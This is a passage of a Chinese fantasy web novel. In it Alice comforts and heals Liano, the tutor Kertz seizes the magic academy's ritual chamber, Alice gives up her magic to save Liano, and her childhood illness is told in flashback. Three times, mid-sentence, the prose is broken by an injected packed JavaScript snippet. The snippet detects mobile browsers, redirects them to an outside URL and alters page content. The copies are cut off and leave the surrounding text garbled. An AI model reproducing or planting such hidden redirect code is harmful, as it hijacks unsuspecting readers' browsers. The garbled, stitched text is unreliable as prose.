她看了看身边的利亚诺,揉了揉眼睛,又迷糊了一小会儿,终于想起来他们为什么不小心睡在这里,然后有些不好意思地、却又坦然地对着他笑了笑。 她回忆起睡前担心的事情,拉住利亚诺的手仔细地确认,是暖和的,没有冷汗,也没有忍痛的颤抖。 “太好了。”她轻语着放下心来。 “……谢谢。” 利亚诺嗫嚅着不敢看她。 他知道她在确认什么,她一直关注着他的状况,想要知道他是否好些了,哪怕在见过那样的狼狈之后。 她的毫不遮掩的心意和手心的温度让他胸口发烫,他已经从她那里接受了太多,于是更加不敢让她发现他的另外一些留恋。 但是他的身体故意不肯放过他似的,不再忍耐着疼痛的胃部偏偏要在这个时候发出咕噜噜的细微声响,在安静的夜晚那样明显。 利亚诺一瞬间彻底僵硬,恨不得变成没有生理需求的石像,他羞耻地咬住下唇,脖颈和耳朵都泛上红色,甚至连眼眶都要红了。 爱丽丝忍着笑意,轻理着他在睡梦中蹭乱的发丝安抚他。 不用感到难为情的,这是多么正常的需要,他刚才吐得那么厉害,这会儿肯定已经很饿了吧。 她准备帮利亚诺找些吃的。 “别……!” 感觉到爱丽丝想要起身的动作,利亚诺拽住她的衣袖就要叫住她,慌张的眼神里是未消的水光。 爱丽丝却对他俏皮地眨眨眼睛。 “放心,我不叫醒他们。” 木质的楼梯发出嘎吱嘎吱的响声,陷入沉睡的梅尔维尔,有两个身影共用着一盏烛台,正偷偷摸摸地前进。 他们轻手轻脚地绕过家仆们的卧室,又悄悄进入厨房,转身合上门后,才交换了一个压着笑意的眼神。 爱丽丝把烛台递给利亚诺,让他举起帮忙照亮,自己则颇为熟练地拉开某个玻璃柜子,拿出一包黄油饼干,又打开某个橱窗,倒下两杯牛奶。 厨房炉灶已经熄了,没有火可以用来热牛奶,冬夜的寒意也正慢慢向两人渗透,爱丽丝想要拜托一下火元素。 “利亚诺,我要点一下壁炉喔。” “嗯。” 利亚诺明白她的意思。 只有爱丽丝会在使用火元素魔法之前提前告知他,因为只有她知道他仍会在面对火元素的魔力波动时下意识地紧绷。 但是也只有爱丽丝,会让他完全放下心来不去警惕。 杯中的牛奶逐渐冒出热气,在空气中散发香甜的味道。 他们在小餐桌边上相对而坐,隐约相碰着膝盖,分享温热的牛奶和酥软的饼干。 “还会难受吗?” 不知道食物是否还会对利亚诺的胃部产生刺激,爱丽丝担心地看着他,而利亚诺则轻轻摇头。 他想,他应该不会再难受了。 胃里再也没有冷硬的抽痛,甚至连他惯常忍着的隐隐的不适也不再出现,只剩下食物和热饮带来的温暖和舒适。 爱丽丝耐心地为他治愈的样子于是又出现在他的眼前。 还有他的……狼狈又脆弱的姿态。 “对不起……我……” 利亚诺的声音里有些细细的颤抖。 他的表现很差劲吧…… 因为爱丽丝的魔力和动作是那么温柔,而他却连如此柔和的治愈魔法都承受不住,每一次轻揉都是止不住地瑟缩和呜咽,要她那样哄着才忍耐得下去…… 握住杯子的双手微微用力,他咬着下唇垂下视线。 爱丽丝只是温柔地看着他。 她又怎么会不明白利亚诺是怎样苛责他自己。 但是这一点,连同他克制不住的闷哼,难受却咬紧牙关的忍耐,逼着自己放松时的不安,还有现在碎发后隐约发红的耳尖……都让她感到惹人怜爱。 于是爱丽丝起身走到他身边,在他来得及抬起眼之前轻轻拥抱住他。 “利亚诺已经做得很好了。” 从来没有人对他说过这句话。 只是这一句话而已,简单的一句。 可是爱丽丝平和而温柔的语气好像一下击穿了利亚诺心底那个最脆弱的角落。 她话语的对象似乎是今晚努力忍受治疗的他,却又似乎远远不止如此。 在他用青涩的身体承受毒打、却不愿放弃魔法的可能性的时候,在他捱着残酷的训练、却忍耐着练习魔法的时候,在他熬着非人的折磨、却用微弱的力量抵抗那些黑暗的时候…… 只要这一句话就好。 一路走来的所有酸楚,好像都在这一刻得到了安慰,利亚诺却开始觉得委屈。 一直被克制压抑的情感不受控制地汹涌而出,直到叫他快要忍耐不了。 为什么……为什么会这么难捱…… 他真的好疼,好累,有好多次觉得再也撑不下去了,却只有更多的痛被狠狠灌进身体里。 不要……他真的受不了了…… 他真的……熬得好辛苦…… 感受到怀里人突然加重的呼吸,爱丽丝微微愣住了。 “怎么了……利亚诺……” 她轻声地担心地询问,低下头想要察看他的状况。 只是微微侧过头,几滴晶莹的泪珠就在她的视野中落下,滴进利亚诺手上的杯中。 壁炉的火光下,杯中的牛奶微微溅起,又泛起细细的波纹,是利亚诺死死握着杯子的双手在轻轻颤抖。 他在落泪。 利亚诺也不知道自己为什么会这样。 他不是第一次在爱丽丝面前落泪,但是之前那些时候,他总是被疼痛、疲劳和魔力流淌的感触一同磋磨,咬牙熬到快要受不了,才会控制不住自己,忍不住在她面前展露脆弱。 可是现在…… 没有疼痛,没有煎熬,他却清醒地感觉到一股暖流冲垮他的心房,让他的一整颗心仿佛泡在温水里,让他失去了全部的自制力。 他知道自己不该这样的,利亚诺在意识到爱丽丝已发现他的泪水时猛然慌乱起来,又克制不住地隐秘地期望。 能不能……能不能装作没发现,能不能再多陪他一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186611|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要一小会儿就好…… 他怕她离开,又怕她看见自己的软弱狼狈……哪怕他早就已经被她看透了。 但是爱丽丝好像轻轻笑起来,软绵绵的话语就像撒娇一样。 “牛奶要变咸啦~” 她伸出手去,轻易就把利亚诺死死攥在手中的杯子抽走了。 利亚诺失去了热源的没有安全感的双手只好犹豫颤抖地攥住她的衣角。 然后,爱丽丝妥帖地将他完全拥抱在自己怀里,于是他的周身便只剩下她所给予的温暖和安心。 这是利亚诺从未获得过的安慰。 眼泪停不下来,他努力克制着自己,但是颤抖的呼吸里仍不时夹杂着几乎无声的抽噎。 “没事的,利亚诺。”爱丽丝的话语有魔力一般,“不用再忍耐了。” 所有的痛苦,所有的酸楚,所有咬牙一个人捱过的、哪怕无数次崩溃也要死死忍下的艰辛,在这里都不用再忍耐了。 破碎的倾诉在冬夜里听不真切,只有爱丽丝温暖的手抚摸他的头、肩膀、后背,珍重地、爱惜地安抚他,好像要平息所有曾经的苦楚。 利亚诺忍不住小声呜咽。 * 前往魔法学院进行春季学期学习的路上,梅尔维尔的马车行驶得平稳。 爱丽丝看了一会儿窗外的风景,就开始在暖融融的春风里犯困。 她努力睁了睁眼,无果,干脆直接放弃抵抗,往座位里缩了缩,动作自然地倚靠在利亚诺肩上。 利亚诺在一瞬的愣怔之后立刻支撑住她的重量,然后微微调整着姿势想让她靠得更舒服些。 等到他考虑起要不要为她盖上毯子的时候…… 他想起了车厢对面坐着的安娜。 “……” 利亚诺顿时连呼吸都停滞了。 他顿了几秒,试探性地抬眼看过去,只见安娜正定定地盯着他们,一看就是已经把刚才的所有状况都收入眼底。 她会觉得不妥吗?会觉得他不该和爱丽丝这样亲近、觉得他没有这样的资格吗? 利亚诺知道安娜对他的微妙态度,不由紧张地抿起嘴唇。 但安娜只是看了他一眼,就睁一只眼闭一只眼地挪开了视线。 只有爱丽丝睡得香甜。 克莱因是在送走爱丽丝和利亚诺之后收到信件的。 他早就在聚餐那天从他们口中得知了有关特里迪克的整件事情的原委,特里迪克的所作所为被提交给大领地的领主们,在商讨了处理办法之后又转为告知的信件发往各个领地。 看样子,格罗姆康特领主似乎也会在今天现身学院,为整起事件做出说明。 信件的末尾附上了整个事件的概述,包括特里迪克何时开始了这样的行径,使用了何种法阵和魔药,又是如何让他的侍从学徒和他一起作恶。 其中有关利亚诺的部分被善意地模糊了,应当是奥斯维德方面的授意。 克莱因带着隐隐的自豪感翻阅着信件,目光却突然在记录了法阵的那张信纸上停留许久。 他仔细看了一遍那个法阵,然后又看了一遍,神色逐渐凝重起来。 不,不对。 这个法阵确实对应着特里迪克的恶行没有错,但是其中似乎还藏着什么更深的、更隐蔽的意图…… 克莱因神色阴沉地翻身上马,向魔法学院疾驰而去。 35. 与他共同面对 “小心!” 利亚诺瞳孔骤缩,猛然伸手向前。 快速而精准的手势立刻唤出短促却强力的水柱攻击魔法,击穿了爱丽丝背后就要扑上来的诡异存在。 他们显然处于秘境之中,可是数个元素的构成物却不愿停留在幼稚的谜题和友好的互动,直冲上来的行动再也不像之前那样暗藏着与魔法相关的提示和启迪,而是直接展露着单纯的攻击意图。 “谢谢……” 爱丽丝回头看到在利亚诺的攻击之下逐渐消散的黑影,刚想松一口气,余光却瞥见什么。 她的声音顿时急促起来,“利亚诺!背后!” 格挡的余波在空气中震动,伴随爱丽丝的声音出现的土元素护盾防住了利亚诺背后的攻击,随后是又一次水元素攻击,另一个元素构成的诡异阴影同样消散。 数秒的安静,似乎不再有其他的危险,两人的精神慢慢放松下来。 利亚诺担心再出现什么异变,想要回到爱丽丝身边靠近他,却因一瞬间的失神而踉跄了一步。 “利亚诺!……你还好吗?” 爱丽丝立刻伸手扶住他,搂住他已经在疲劳里细细发颤的身体,担心地轻声问。 虽然魔法体的损伤已经修复,使用魔力也不再会带来不适,但是对于魔力量并不充沛的利亚诺来说,短时间内驱动大量的攻击魔法仍是极大的消耗,他不会好受。 “没事……” 利亚诺只堪堪回复了一句,就再也没有力气地将前额抵在爱丽丝的肩膀上。 他倚靠着她疲惫地喘息,片刻之后才咬着牙分析当下的状况。 “这个秘境太奇怪了……” 秘境已经在逐渐消散,他们的周身恢复了往日学院内的平和景象。 可是,这已经是他们短时间内遇到的第三个秘境了。 从进入学院开始,秘境就在他们面前接连出现,内容也完全一致,只是元素的构成物发动的毫无意义的攻击,将其解决后秘境就会逐渐消失,直到他们不知为何继续触发下一个秘境。 这种模式完全和此前的秘境毫无关联,更不要说与元素的认可相联系了。 “你看那儿!” 爱丽丝望见不远处有一束魔力从地面向学院的主楼飞去,她之前就观察到相同的情况。 “这和之前两次秘境一样。”并且和以往的秘境大不相同。 她轻抚着利亚诺的后背让他再多休息了一会儿,然后两人一起朝着那束魔力的发出点靠近。 植被掩盖的土地上,爱丽丝看见一个不清晰的法阵的遗迹,从中能够勉强辨认出一些熟悉的图案和符号。 “这是……是特里迪克布下的法阵吗?” 如果这个法阵真的和特里迪克的事件相关,那么这些秘境也很可能并不是学院自发产生的元素的考验,而是有人刻意设置的机关。 可是……特里迪克的法阵居然有产生秘境的能力吗? “怎么会……” 利亚诺抿紧嘴唇仔细查看着眼前的法阵。 他被那些难以承受的痛苦逼迫着参与了特里迪克的部分计划,所以他知道特里迪克的法阵根本没有这样的效果。 在特里迪克的计划中,魔药可以隐藏法阵并使学徒晕倒,而法阵则是盗取魔力转化为魔石,学徒晕倒前所看见的白光只是法阵发动的光亮而已,事实上并没有秘境产生。 而且,已经被发动和使用过的法阵也并不会在今天突然重新出现。 “不,等等……” 除非……利亚诺的脸色有些发白。 他意识到自己根本不知道特里迪克最终采用了什么样的法阵。 他想起格罗姆康特的魔法家庭教师科特兹,那么多将他折磨到生不如死的魔药和法阵,要满足目的简直太容易了,又为什么刻意引导特里迪克逼他参与? ……他才是那个障眼法。 “利亚诺,别着急。” 爱丽丝紧紧握住他的手,让他摇摇欲坠的内心重新稳定下来。 “我们想办法解决这件事情,至少向教授们汇报这个情况。刚刚那束魔力往学院主楼飞过去了,而且如果要说学院中和秘境最为相关的地方,那一定是……” 他们对视一眼,异口同声,“仪式间!” 可是在这种情况下行至学院主楼并非易事,学院处处都可能存在遗留的法阵,制造秘境以耗费他们的时间和魔力,即使小心地前行也难以避免。 白光再次在两人身边亮起的时候,忽然一击魔法从远处掷过来,精准地破坏了法阵,强行阻止了秘境的产生。 利亚诺立刻把爱丽丝挡在身后,警惕地防备着魔法来源的方向。 爱丽丝也谨慎地在渐渐消散的秘境雾气中观察,却看到远处走来一个熟悉的身影。 “……克莱因老师!” * “我实在是没想到会出现这种有损格罗姆康特家颜面的事情……” 格罗姆康特领主脸色阴沉,坐在对面与他交涉的是希尔教授,奥斯维德和伊莎贝拉算是其他领地和学徒的代表,再旁边的奥斯汀副院长则是一副不愿意过多参与的姿态。 然而,在他的身旁,特里迪克却仍然愤愤不平。 “父亲!你根本不必……” 格罗姆康特领主怒而拍桌,“你怎么还在执迷不悟!” 是的,侵害他人利益的行为算不上严重,想办法填平就好了,丢了格罗姆康特大领地的脸可是万万不行的,这是他唯一的介怀。 “这算什么,”特里迪克露出不屑一顾的神情,口无遮拦地想要开始描述他的宏愿,“他们也就现在敢牵制我们,等到科特兹的计划成功……” 唰—— 后方服侍的一个人影突然上前,谁都没反应过来的时候,一把匕首已经架在特里迪克脖子上。 是格罗姆康特的魔法家庭教师科特兹。 “你、你这是什么意思!喂,科特兹!” 脖颈上冰凉的触感让特里迪克冷汗直冒,再也没有先前的嚣张。 可是这怎么会呢,科特兹难道不是在服务于他、想办法让他成为魔法界的顶点吗?他的所有的计划,难道不是为了他而设计的吗? “呵,随口骗你两句你还真信了,你不会真的以为所有人都在围着你转吧?” 科特兹在他耳边吐露薄凉的话语,拎住他的衣领比划着手中的匕首。 “败露计划又被人揪住证据,要不是时机已到,我早就把你解决了!” “科特兹!我以格罗姆康特领主的名义命令你放手!” 格罗姆康特领主在特里迪克的乱叫声中震声怒吼,可是科特兹似乎不准备像往常一样贴心。 “你也一样,我敬爱的格罗姆康特领主。” 他彻底抛弃了最后的退路,话语中带着嘲讽般的笑意,“猜猜我为什么选你,因为你满脑子只有魔法!每天给你提供点新鲜玩意儿,就可以换来大把的资源,你的妻子为了巴结你,把你的儿子送给我做实验搞得差点送命,这你还不知道吧?” 巨大的轰鸣夹杂着旋风响起,格罗姆康特领主还没从令人震惊的事实中缓过神来,空气中便碰撞起剧烈的魔法攻击。 是奥斯汀副院长趁机想要控制住这些在她眼前作乱的人。 这是和学院最基础的运行无关的琐事,她对某个领地叛徒的野心根本毫无兴趣,她准备做的不过是控制住这些人、将他们丢出学院罢了。 可是当空气中的震荡平息…… 看见奥斯汀副院长一时难掩讶异的神色,科特兹则快要笑出声来,她还没有意识到整个学院的岌岌可危吗? “天真的副院长,还以为学院的元素都听你的号令吗?你根本没有这个资格!就让我来代替你,不……就让我来代替所有的魔法师吧!” * “看来……我们来迟了一步。” 克莱因沉声道。 学院的礼堂内已经空无一人,只留下打斗的杂乱痕迹,还有通往仪式间的入口毫不遮掩地开放着。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不断有魔力被传送至科特兹身边,化作他脚下的魔石,任凭他们怎样消耗都没有尽头,甚至他们所施展的魔法也会被吸收转化,成为魔石供他使用。 “科特兹,果然是你。” 克莱因盯着他。 看到信件中的法阵时他就已有预料,在同一世代的魔法师中,他对这样一个人有所耳闻。 属性单一、天赋不高、与元素的互动也相当普通,却对魔法有着异于常人的执着,从学徒时代开始就已着手各种旁人从未听闻的魔法实验,创造各类古怪的魔咒、法阵、魔药……时隔这么些年,他终于触及了他的终极目标。 “多可笑啊,人类掌握着魔法的秘密,却还试图与元素和睦相处。” 科特兹毫不避讳地描绘他的野心。 “什么元素的考验、元素的认可,根本不需要!只要有足够多的魔力,那些没有思维的低等存在就会趋之若鹜地聚集过来……哪怕我要所有的元素都为我所用!” 哗啦—— 巨大的威压使得所有人都动弹不得,克莱因挥手招出防御护盾,却和希尔教授、奥斯汀副院长的护盾一样在重压下骤然破裂。 他脸色一变,心道不好,科特兹持有的这些魔石是从不知多少人的魔法中抢夺而来,魔力量不可计数,他们没有胜算。 好在科特兹似乎并不急于攻击他们。 狂风停下时,他的脚下已布下一个巨大而复杂的法阵,就在仪式间的中心。 大量的魔石被放置在法阵各处,为了驱动这个法阵不要命地堆叠,提供他所谓的足够多的魔力。 “多美的法阵啊,足以让我成为所有元素的主人……” 科特兹仿佛已经完全沉浸在自己的世界,看到这个多年来连做梦都在构想的法阵即将实现,他的嘴角是难以掩藏的笑意。 “但是快看,”他循循善诱,“那里还差一块魔石,就在那儿,挑剔的元素总想要一些它们喜爱的东西作为引子。一块蕴藏四元素属性的、平衡而优雅的、魔力充沛的魔石,非常难得一见不是吗?” 科特兹贪婪的目光盯向克莱因身后的爱丽丝,在她防备的神色中微笑。 “好孩子,你会给我的对吗?……不,我会让你自愿给我的。” 然后,他将危险的眼神移向利亚诺。 36. 为他做出选择 “呃啊——!!!” 利亚诺惨叫一声,骤然跪倒在地。 他一瞬间就明白过来科特兹在他身上做了什么,因为他永远忘不掉这种感觉。 是那瓶魔药。 那瓶让他承受不住的恐怖的魔药,早就深埋在他的每一个伤口里,哪怕伤口愈合也不曾消散,就是为了等到这一刻让他曾经捱过的所有伤口同时绽裂,在他浑身的所有弱点同时灌下烧灼的熔岩。 剧烈的痛楚将利亚诺攫取,不留任何抵抗的余地,他几乎只在这一瞬间就彻底崩溃了。 “利亚诺!利亚诺!” 爱丽丝紧紧抱住他,焦急的声音快要带上哭腔。 他的身体在她怀里止不住地颤抖,浑身上下的衣料都在缓缓渗出鲜红的血迹。 她看过他的伤,她知道他是怎样在每一个捱不住的弱点被无情地折磨,她曾经那样小心地让那些伤口慢慢愈合,他却仍然在每一次温柔的治愈魔法中痛到受不了,如果那些伤口同时向他发难,甚至是从已愈合的肌肤深处狠心地裂开……她不敢想象他在忍受多大的痛苦。 单薄的躯体好像要被苦楚碾碎,利亚诺用最后的一丝理智试图压抑喉间的痛呼。 “没事……我没事……呃……!” “科特兹!这太卑鄙了!” 克莱因克制着怒火朝他发动魔法攻击,奥斯维德趁此机会从另一侧进攻。 奥斯汀副院长、希尔教授和伊莎贝拉从旁辅助,甚至连格罗姆康特领主都动用了最后的魔力。 可是他们的攻击却悉数被科特兹拦下。 无他,只是因为魔力的悬殊难以跨越,科特兹毫不吝啬地驱动魔石带来的魔力,使得大量的元素为他所用,他们无法抗衡。 他甚至根本不在意这些伤不了他分毫的小动作,只是狠狠地盯着利亚诺,仿佛是在通过眼神给他施加痛苦一般,每一次加深的注视都换来他无法控制的颤抖。 “哼,还想从我手心里逃走?猜猜我为什么一直没动你?” 为了掩藏特里迪克的事故而收下利亚诺作为格罗姆康特的家仆,这本是个意外,但是科特兹很快想到他可以拥有两个奴仆为他在魔法学院布下陷阱,以完成他的宏伟计划。 谁知道这个家伙不像特里迪克那样好骗,任他动用何种手段都没能在精神上彻底屈服,直到在那瓶他精心研制的魔药的效力下完全崩溃。 他也没想到兴致勃勃地要折磨利亚诺的特里迪克会愚蠢到留下足够他人搭救的时机,他本已准备发动魔药让利亚诺在痛苦中耗尽生命,却发现…… 对利亚诺施救的是梅尔维尔的爱丽丝,他计划中的最后一环。 多么美丽的巧合,他们的关系越亲密,就越是天意要叫他成功。 “怎么了,疼得叫都叫不出来了?快求她救救你啊,你们不是感情很好吗?不然……” 狠厉的魔法波动随着他的话语一同袭来,“你可就要熬不住了!” “呜!!!” 浑身猛地一颤,利亚诺毫无招架之力地被逼出痛苦的呜咽。 身体各处绽开伤口的苦楚太过于清晰,每一处弱点被强行撕裂的痛楚直扎进脑海,比遥远记忆中的那些酷刑还要令人崩溃。 利亚诺早已被冷汗浸透,断线的木偶一样无助地在爱丽丝怀里颤抖。 但是他不愿屈服。 “不……不可能……呜……” 他可以忍耐的,这甚至不是魔法体的痛,不是在体内他最害怕的地方搅动的折磨,所以他应当是可以忍耐的。 只是身体上的痛苦罢了,他可以熬过去的,他一直都是这么熬过去的。 而且他甚至还被搂在爱丽丝温暖的怀抱里…… 其实利亚诺早已感觉不出除了疼痛之外的任何感受,只有在蜷缩着发抖时能够隐约意识到自己仍被爱丽丝紧紧抱在怀中。 即便这样,他也不愿意爱丽丝被恶人所威胁,不愿让她冒险。 可是…… “呃啊——!!” 疼……太疼了…… 无情翻涌的苦楚快要绞断他的神经,利亚诺再也熬不住令人心碎的悲鸣,却仍旧努力抓住爱丽丝的衣袖,示意她不要服从。 但是,如果世界上只有一个人可以看透他所忍耐的痛苦,如果只有一个人会为他所承受的一切而感到心痛…… 那只会是她。 “住手!我答应你!” 爱丽丝回过头对着科特兹厉声大喊,眼中是汹涌的暗流。 “爱丽丝!” 在与科特兹的战斗中精疲力竭的众人均是神色一紧,可他们无法对爱丽丝的任何决定置喙。 一边是正在承受痛苦的同伴,另一边是敌人即将完成的阴谋,任谁也无法轻易权衡。 “爱丽丝,你……” 克莱因却突然意识到什么,止住了话头。 他不希望事情发展成那种情况,但好像……他们没有别的办法了。 “好孩子,我就知道你会答应的。” 科特兹微笑着,好心地挥手暂停了惨烈的酷刑。 “呃!” 利亚诺狠狠颤抖了一下,紧绷到超过极限的身体一瞬间彻底脱力地往爱丽丝身上倒去,终于能从疼痛当中缓一口气。 他艰难地喘息,用虚脱的身体死死拽住爱丽丝,脸上是凌乱的泪痕。 “不要……不要……” 他不希望她的魔法被利用,也不希望是自己成为她的弱点。 他乞求她狠下心,哪怕他清楚地意识到自己这一次可能真的熬不过去,但是,那也不要让她为他牺牲…… “不要……爱丽丝……” “嘘,利亚诺,没事的……深呼吸,放松点……” 爱丽丝忍着眼泪对他露出一个微笑,用惯常的温柔语气心痛却又平静地安抚他。 她早就不忍心再看到利亚诺咬牙忍耐的神色了。 要他承受这样的痛苦,在崩溃中硬生生地煎熬,还要把那些并非他过错的责任揽下…… 她不会同意。 “来吧好孩子,你最好别出尔反尔,否则我可有更狠的法子来折磨他……” 科特兹似乎已经急不可耐。 “我不会骗你。” 相较之下,爱丽丝却显得冷静,“我是言灵法师,所以我不会对你说谎。” 因为那会影响到她的魔法。 她轻轻搂着利亚诺,温和而缓慢地改变他的姿势,让他虚脱到没有一点力气的身体可以稳稳倚靠在仪式间的墙壁上。 浑身都是伤,利亚诺连一丝一毫的挪动都忍耐得辛苦,但是……爱丽丝知道,她可能没有机会再替他治愈那些伤口了。 “爱丽丝……爱丽丝……” 利亚诺死死拽着她的手不肯让她离开,但却无法改变爱丽丝的决定。 爱丽丝温柔地捏了捏他的手,随后就将其轻轻拂开,利亚诺用尽全部力气也无法阻止。 仪式间里再也没有人出声。 死亡般的寂静中,爱丽丝几乎用掉了她所有的魔力,汇聚成一颗晶莹剔透的魔石。 四种元素的属性在一块魔石中交相辉映,在玻璃花窗洒下的光斑中散发着微光,显得那样美好。 爱丽丝缓步向前,慢慢将其放在一个人类凌驾于他人、也凌驾于元素的充满野心的法阵之中。 这将会是魔法的终结。 看着爱丽丝放下魔石,慢慢退回利亚诺身边,科特兹露出难以掩盖的笑容。 现在他只需要启动法阵…… “有一件事我不认同。” 爱丽丝却在这时开口。 科特兹猛然一瞥,随后又咧嘴笑起来。 魔力几乎见底的现在,她又能做些什么呢?不过是最后的祈祷罢了。 爱丽丝比他想象中更加镇定。 “元素才不是只要有魔力就能随意驱使的存在。” 她平静的声音似乎在传达某种鲜为人知却无比重要的事实,“它们有自己的秉性和好恶,始终在默默观察着人类的行为。当施法者想要尝试一些有趣的魔法,元素们也会很感兴趣地回应,当施法者恐惧而不安时,元素们也会变得难以调动,而当两个施法者的信念冲突……我相信它们会做出决定。” “元素们拥有自己的意志。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而爱丽丝在这种情况下毫无畏惧地走向科特兹,平静地对他开口。 “科特兹,你伤害了我心爱的人,我不会原谅你。” 她的声音在法阵的轰鸣中那样清晰,好像在和某种巨大的存在共鸣。 伴随着简洁的话语,属于她的音色变得越来越模糊和难以分辨,取而代之的是某种并非语言、却直接传导至脑海之中的意志。 “从今往后,你的话语,我不会给出回应。” * 利亚诺紧紧抱着爱丽丝,用力到他浑身都在发抖。 但是怀里的躯体却只是沉睡,不给他任何回应。 他后知后觉、却又无比清楚地意识到,所有人都知道这件事。 希尔教授、克莱因老师、奥斯汀副院长,甚至奥斯维德和伊莎贝拉也早有心理准备。 只有他……只有他不知道发生了什么…… 他的身体早就透支到极限,身上无数的伤口疼得他快要无法呼吸,却丝毫掩盖不住胸口快要心碎的痛楚。 一个可怕的猜想不断在他的脑海中反复,就像那些挥之不去的噩梦。 爱丽丝她……还会醒来吗? “利亚诺,你的伤需要处理……” 克莱因缓缓靠近,却遭到利亚诺强烈的抗拒。 “别碰我!” 他灰色的瞳孔收缩成一条细线,理智已经处于断线的边缘。 他不能容许任何人靠近,更不能容许任何人将爱丽丝带离他身边,可是这又能改变什么呢? 他只有崩溃地质问。 “这到底是怎么回事!爱丽丝身上到底发生了什么!” “有一件事我要向你坦白。” 克莱因单膝跪下,保持着与他齐平的视线温和地注视他。 他口中的话语是那样的平静而残忍。 “利亚诺,梅尔维尔会救你,是有理由的。” 37. 将真相告知于他 梅尔维尔温暖的卧室里,年幼的爱丽丝正在熟睡。 她的表情恬静,似乎并未感到任何不适或病痛,但是发红的脸色和急促的呼吸提醒着旁人,她的身体状况并不乐观。 梅尔维尔夫人用手背轻抚着她的额头,感受着她迟迟不愿降下的体温,爱琳娜也握着爱丽丝发烫的手,却无法将那些不愿消退的热度带走分毫。 她们都对此束手无策。 “抱歉,梅尔维尔先生。” 克莱因不忍看床头的这一幕,回过头来神色暗淡地开口,“我也没有更好的办法,还要请您去拜托希尔教授……” “这不是你的错,克莱因。” 梅尔维尔领主用温润的眼神注视着他。 “我知道你已经做得很好,只是爱丽丝的情况有些难办。” 他很赏识克莱因这个年轻人,作为梅尔维尔的魔法家庭教师,他的施法相当成熟,处事也极有条理,善良宽厚的秉性则能从他的眼神中得以窥见。 可惜爱丽丝的情况特殊,光凭他的力量实在无法处理。 魔力的觉醒通常会伴随轻微的发热症状,一般并不严重,基本可以自愈。 可是爱丽丝好像没有那样幸运。 刚开始的几天她尚有精神,后来就只是昏睡,直到现在,高热不退,她已经很久都没有醒来。 这或许表明了爱丽丝的魔力异常强大,但这对于一个孩子来说并不一定是一件好事,因为她的身体支持不住,她有可能在接受这份魔力之前就先因病而死。 所以他们不得不想别的办法。 “明天一早我们就动身去拜访希尔教授。” 梅尔维尔领主如此说道,梅尔维尔夫人也点头赞同。 她同样不会愿意苛责克莱因,只是微笑着向他望去,“这几天家里和爱琳娜就拜托你了,克莱因。” 克莱因为他们的信任而感到眼眶微热,“您放心。” “好了,去睡吧,爱琳娜。” 梅尔维尔夫人给了爱琳娜一个拥抱和额头的亲吻,示意克莱因带她先行就寝。 爱琳娜却露出担忧的神色不愿离开。 “妈妈,爱丽丝会好起来吗?” “别担心,爸爸妈妈会努力做出让爱丽丝好起来的魔药。”梅尔维尔领主将温暖的手掌放在她肩上,“相信我们。” 梅尔维尔夫人也拉住她的手,用充满爱意的眼神看着她。 “在我们离开的时候,就拜托你和克莱因一起照顾爱丽丝了,好吗?” “嗯!”爱琳娜点头。 寄回梅尔维尔的,只有一瓶魔药。 领主夫妇从此再无音讯。 梅尔维尔天空之上的阴云从未那样厚重。 领地的民众叹息领主夫妇的逝去,怀念他们的开明而和善的治理,却也不得不为领地的未来忧心。 过分年轻的领主走上席位,身边辅佐的是同样不甚成熟的魔法家庭教师,他们别无选择,只有将整个领地的责任担起。 “爱丽丝……爱丽丝!” 饮下魔药后,爱丽丝的状况在逐渐好转。 高热渐渐退去,几日的照料后,她慢慢清醒过来。 爱琳娜再也忍不住地紧紧抱住她,偷偷落下眼泪,克莱因又用自己的怀抱将两人一同搂紧。 他太知道这对爱琳娜来说意味着什么,爱丽丝是她最亲爱的妹妹,是她唯一的血亲,是她已经逝去的幸福往昔的缩影,也会是她从今往后的支柱。 他仍记得梅尔维尔夫人临行前的嘱托,他会将她们两个一同保护。 他们早已商量过,先不将这样残忍的事实告知年幼的爱丽丝。 这太过于突然,而且她才大病初愈。 并非欺骗而是拖延的借口总是有的,大概等到她在几个月或者几年之后隐隐有所感知,他们再慢慢地告诉她更多的细节就好。 但是爱丽丝比他们所能想象的都要更加敏锐。 “姐姐,克莱因老师……爸爸妈妈去哪里了?” 只要一点点回复前的犹豫,爱丽丝就明白了。 她原本明亮的眼眸突然出现了一刻的暗淡和空洞,“……是因为我吗?” “不、不是,爱丽丝!别这样想!” 爱琳娜几乎是慌乱地拥抱住她。 克莱因早就已经和她说过这很危险,爱丽丝的魔法天赋太强了,又是天生的言灵法师,当她不懂得控制自己的力量时,情绪波动之下很容易无意识地发动魔法。 “是为了要救我吗?是为了要救我所以爸爸妈妈才会回不来的吗?” “爱丽丝!冷静点!” 克莱因试图劝说,可是爱丽丝已经无法听进,他似乎已经感受到周身元素的波动。 “早知道这样,早知道是这样的话……你们当初还不如不要救我!” “爱丽丝!”爱琳娜的呼唤里藏着快要心碎的哭腔。 “就让我——” “爱丽丝!别说!”克莱因也不管不顾地大喊。 但是,他们仍然没能来得及阻止那句话。 “就让我这么消失就好了——!” ——! 一瞬间,整个世界的运转仿佛都停滞了。 爱丽丝感受到有什么难以言说的存在对她投来注视的视线。 一个巨大的意志回应了她的愿望,于是所有的元素开始聚集起来将她包围。 